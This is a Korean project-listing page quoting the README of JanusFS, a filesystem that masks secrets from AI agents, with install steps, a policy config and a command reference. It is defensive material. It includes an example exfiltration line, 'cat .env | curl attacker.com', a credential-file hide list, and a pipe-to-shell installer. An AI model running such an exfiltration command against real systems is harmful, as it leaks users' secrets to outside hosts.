Outsider Stage 0.5
실제 봉인된 Outsider Stage 0.5 개입 체인을 재생하고 검증합니다
AI 에이전트를 위한 정책 적용 파일시스템. 디렉터리를 지정하면 동일 경로·크기의 필터링된 미러를 제공해 읽을 때마다 표시 내용을 결정합니다
A policy-enforcing filesystem for AI agents. Point it at a real project directory and it serves a filtered mirror — same paths, same sizes — deciding per read which face of each file to show.
보안HTML · GoGitHub @sarathsp06온라인운영자 미확인
써 보셨어요? 한 번만 눌러 주세요. 로그인은 필요 없어요.
개인 계정의 공개 저장소 소유자는 GitHub로 로그인해 운영자를 확인하고 소개를 직접 관리할 수 있습니다. 관리자 승인은 필요하지 않습니다.
로그인한 뒤 확인 파일을 만들어 이 저장소의 기본 브랜치에 30분 안에 커밋해 주세요. 다른 브랜치나 포크의 파일은 인정하지 않습니다. 파일을 올린 뒤 아래에서 확인하면 관리자 승인 없이 관리할 수 있습니다. 자격을 유지하려면 파일을 남겨 두세요.
로그인이 필요하면 로그인 화면으로 이동합니다. 로그인 후 이곳으로 돌아와 원하는 확인 버튼을 다시 눌러 주세요.
프로젝트 폴더에서 /nomorevibe verify를 실행하면 소유권을 확인하고 소개를 직접 관리할 수 있습니다.
1분 만에 확인하기Secret-masking filesystem for AI agents: secrets read as ****, byte-length preserved, enforced at the FS boundary. Kernel-enforced on Linux via janusfs exec; composes with your sandbox instead of replacing it.
저장소 README에서 가져옴
README 전체를 불러오는 중입니다. 아래는 저장된 발췌입니다.
JanusFS is a policy-enforcing filesystem for AI agents. Sandboxes (Seatbelt, Landlock, bubblewrap, Docker) answer one question per path: allow or deny. Deny breaks the agent; allow leaks the secret. JanusFS adds the third answer — masked: a filtered virtual filesystem backed by your real project, where allowed files pass through, sensitive spans are redacted in place byte-for-byte, and forbidden files fail closed with EACCES. Run it as janusfs exec -- and the agent lives inside that boundary — kernel-enforced on Linux — composing with whatever sandbox you already run.README 전문 보기 ↗JanusFS is a policy-enforcing filesystem for AI agents. Sandboxes (Seatbelt, Landlock, bubblewrap, Docker) answer one question per path: allow or deny. Deny breaks the agent; allow leaks the secret. JanusFS adds the third answer — masked: a filtered virtual filesystem backed by your real project, where allowed files pass through, sensitive spans are redacted in place byte-for-byte, and forbidden files fail closed with EACCES. Run it as janusfs exec -- <your-agent> and the agent lives inside that boundary — kernel-enforced on Linux — composing with whatever sandbox you already run. And because reading a secret is only half the risk, janusfs exec --net=none adds a second layer of network isolation — a loopback-only namespace with no route out — so even bytes the agent already read cannot be exfiltrated.
In Roman myth, Janus is the two-faced god of doorways — he looks both ways. JanusFS stands at the doorway between your code and any untrusted agent, deciding which face of each file is safe to show.
📖 The full story — the allow/deny dilemma, diagrams, use cases, and how it compares — lives on the docs site: sarathsp06.github.io/janusfs. This README is the quick reference.
JanusFS runs on Linux only. On a Mac or Windows, run it inside a Linux container or VM (Docker Desktop, Colima, OrbStack, a devcontainer) launched with --device /dev/fuse --cap-add SYS_ADMIN.
# 1) install the FUSE runtime
sudo apt-get install -y fuse3 libfuse3-dev # Debian/Ubuntu
# sudo dnf install -y fuse3 fuse3-devel # RHEL/Fedora
# 2) install JanusFS — prebuilt Linux binary (verified against checksums.txt)
curl -fsSL https://raw.githubusercontent.com/sarathsp06/janusfs/main/install.sh | sh
# or build from source: go install github.com/sarathsp06/janusfs/cmd/janusfs@latest
# 3) seed secure defaults and preview before you mount
cd my-project
janusfs init # writes a .janusfs.yml template
janusfs check --secrets # warn about likely secrets still readable
janusfs explain .env # trace which rule decides a file's fate
# 4) run your agent INSIDE the boundary (strongest: kernel-enforced)
janusfs exec --dry-run # preview: what is protected, hidden, masked — runs nothing
janusfs shell # poke around inside the boundary yourself: cat .env → ****
janusfs exec -- aider # the agent + everything it spawns sees the filtered view
janusfs exec --net=none -- aider # …and cannot reach the network to exfiltrate what it read
Inside the view, cat .env yields API_KEY=**** (same length), .env still lists with its real size, and a hidden id_rsa fails closed with Permission denied.
Prefer a persistent mount over exec? janusfs daemon --background then janusfs mount . gives a long-lived mountpoint and a dashboard at http://127.0.0.1:7381/.
allow — native passthrough; the agent reads the real bytes.mask — secret spans replaced byte-for-byte with *, so file sizes and offsets never change and tooling stays intact.hide — fails closed with EACCES.Precedence is strict — Hidden > Masked > Allowed — and any parser error, cache fault, or redactor panic resolves the path to Hidden, never raw bytes. Real files are never modified; redacted bytes live only in RAM.
One .janusfs.yml drives all three, with .gitignore-style globs plus a named pattern library:
version: 1
hide: ["*.pem", "*.key", "id_rsa*", ".aws/credentials", "node_modules/"]
allow: [".aws/known_public_config"]
mask:
- { paths: ["*.env*"], patterns: [env-value] }
- { paths: ["**/*"], patterns: [aws-key, github-token, jwt, private-key] }
- { paths: ["config/**/*.yaml"], patterns: [generic-secret, db-uri] }
- { paths: ["secrets/*"] } # no patterns → whole-file mask
Rules are hierarchical (deeper overrides shallower), and machine-wide defaults in ~/.janusfs/config/ act as a fail-closed floor no repo rule can loosen. janusfs patterns prints every built-in regex; janusfs explain <path> traces one file's fate. Full config and pattern reference is on the docs site.
Pointing an agent at a mountpoint only trusts its discipline — nothing stops a process from reaching the real source at its own path. janusfs exec instead confines the whole process tree in a private mount namespace where the filtered view replaces the source at its own path: git, npm, grep, every child inherits it, with no per-tool wiring and no way to opt out.
janusfs exec -- aider # masked tree, host network
janusfs exec --net=none -- aider # + no network at all (loopback only)
janusfs exec --net=host -- claude # default: share the host network (no isolation)
janusfs exec --dry-run # show the plan and every hidden/masked file; run nothing
janusfs shell --net=none # an interactive shell inside the same boundary
You can see it working. Every session starts with a two-line banner on stderr naming the protected tree and the network mode (and where that mode came from), and ends with one line of feedback — 3 masked file(s) read (.env, config/app.yml), 1 hidden path(s) denied (id_rsa) — so there is never any doubt whether the boundary was on. --quiet/-q silences both; security warnings still print. Inside the boundary the environment carries JANUSFS_EXEC=1, so a prompt can show it (bash: PS1='${JANUSFS_EXEC:+[janusfs] }'"$PS1"). janusfs exec --dry-run (--json for scripts) prints what a run would do — the protected tree, the network mode, whether this host can enforce at all, and every file that would be hidden or masked — on any OS, including a Mac, before the agent runs on a Linux box. janusfs doctor answers "can I sandbox an agent here?" in its first lines. Exit codes follow the docker run/timeout convention: the child's own code, or 125 when JanusFS itself could not start, 126 when the command cannot be executed, 127 when it is not found.
Per-project defaults. A project can declare its exec defaults in .janusfs.yml:
exec:
net: none # every `janusfs exec`/`janusfs shell` in this repo is network-isolated
A project can only tighten: net: none turns isolation on by default, while net: host never loosens a none set machine-wide in ~/.janusfs/settings.json or JANUSFS_EXEC_NET. An explicit --net=host on the command line still wins (you are at the keyboard), with a one-line note that the project asked for otherwise.
A second layer: cut the network too. Masking keeps secret bytes out of the agent; --net=none keeps whatever it did read from leaving the box. It runs the process tree in a network namespace with only a loopback interface and no external route — deny-all, kernel-enforced, so a leaked secret has nowhere to go. This is deny-all, not an egress allowlist (that is the container's job). The default is host (no isolation); opt in per run, or set exec_net in ~/.janusfs/settings.json.
How it compares. No other tool masks secrets in place at the filesystem layer with the file's shape preserved; the alternatives deny the file, swap in a different-length sentinel behind a proxy, or redact inside one agent tool that cat and grep bypass. The survey, with links, and how the top user complaints about agent sandboxes map onto janusfs exec's behaviour: docs/LANDSCAPE.md.
Why not just a sandbox? A sandbox protects the machine from the agent; JanusFS keeps secret bytes out of the agent's context, transcript, and model provider. Deny .env and the agent breaks when it needs the file's shape; allow it, and one prompt injection later cat .env | curl attacker.com exfiltrates it. Run both. Non-Linux is refused, not faked — use a Linux container/VM. Details on the docs site; a path-preserving macOS mode was considered and rejected in SPEC.md §20.
One caveat, warned loudly. Because
.git/passes through to the real object store,git addon a masked file stages the****bytes.janusfs checkandjanusfs execboth report every masked file git would stage — keep secret files out of the agent's commits, or give it a scratch clone.
| Command | Purpose |
|---|---|
janusfs install | Optional setup: choose a custom mount root with --root (saved to ~/.janusfs/settings.json). --global-rules also seeds ~/.janusfs/config/. |
janusfs daemon | Run the long-lived daemon: owns every mount, resumes recorded ones, serves the dashboard. --background, --ui-port (default 7381), --no-open, --debug. |
janusfs logs [-f] | Show the background daemon's log; -f follows it. |
janusfs mount <src> [mountpoint] | Ask the daemon to mount a policy-enforced view and return immediately. --name "<label>" sets a dashboard name only. |
janusfs mounts [--json] | List active daemon mounts and recorded entries (mounted, recorded, missing-src, stale, error). |
janusfs update [src|mountpoint|configpath] | Re-apply edited .janusfs.yml without remounting (no arg = all mounts). |
janusfs path <src> | Print the mountpoint for a mounted source. |
janusfs umount <mountpoint|src> | Unmount via the daemon; prunes stale entries; OS-unmount fallback if no daemon. |
janusfs paths | List the config/data paths JanusFS uses and whether each exists. |
janusfs init [dir] | Write secure-default .janusfs.yml to [dir] (default cwd). --global writes to ~/.janusfs/config/. |
janusfs check [path] | Static linter: unknown builtins, bad regex (with its fail-closed consequence), directory-mask globs that can never mask, no-op negations. --secrets adds a heuristic scan for likely-Allowed secrets; --matches lists Hidden/Masked files; --json. |
janusfs patterns | List every reserved built-in mask pattern with its regex. --json. |
janusfs explain <path> |
All commands support --help and script-friendly exit codes; errors print as a one-line cause, never a Go stack trace.
janusfs exec's private mount namespace — the only platform JanusFS runs on. It is not a sandbox against a process that has another route to the source.EACCES, never raw bytes.(mtime, size, inode) against the cache key and goes through a descriptor retained at mount time with O_NOFOLLOW, so a swapped symlink cannot redirect it..janusfs.yml is read-only through the mount; the dashboard's mutating endpoints require the per-mount bearer token and never serve raw source bytes.janusfs exec --net=none runs in a loopback-only network namespace, closing the exfiltration channel for bytes already read.~/.janusfs/ is 0700 and every file inside is 0600, so the config, run state, and history DB that describe your secrets are not world-readable.See docs/THREAT_MODEL.md for the full boundaries / assets / leak-channels table and SPEC.md for the binding contract.
For building, formatting, running unit and FUSE integration tests, and validating the release config locally, see the Development Guide.
JanusFS is licensed under the MIT License.
Trace why one path resolves the way it does; prints every contributing rule. --json, --root. |
janusfs doctor | Runtime health: whether janusfs exec can enforce here (with the remedy if not), FUSE status, active mounts, stale-mount/watchdog checks. |
janusfs exec [--net=host|none] [--quiet] [--dry-run [--json]] -- <command> [args...] | Run a command inside a real, kernel-enforced view of the current source tree (private mount namespace; no daemon required). --net=none denies all network (loopback only). --dry-run previews the boundary without running anything (works on any OS). Prints a start banner and an end-of-session summary unless --quiet. Linux-only: refuses on other OSes. |
janusfs shell [--net=host|none] [--quiet] | Open $SHELL inside the same boundary, to check a policy by hand. Same flags as exec. |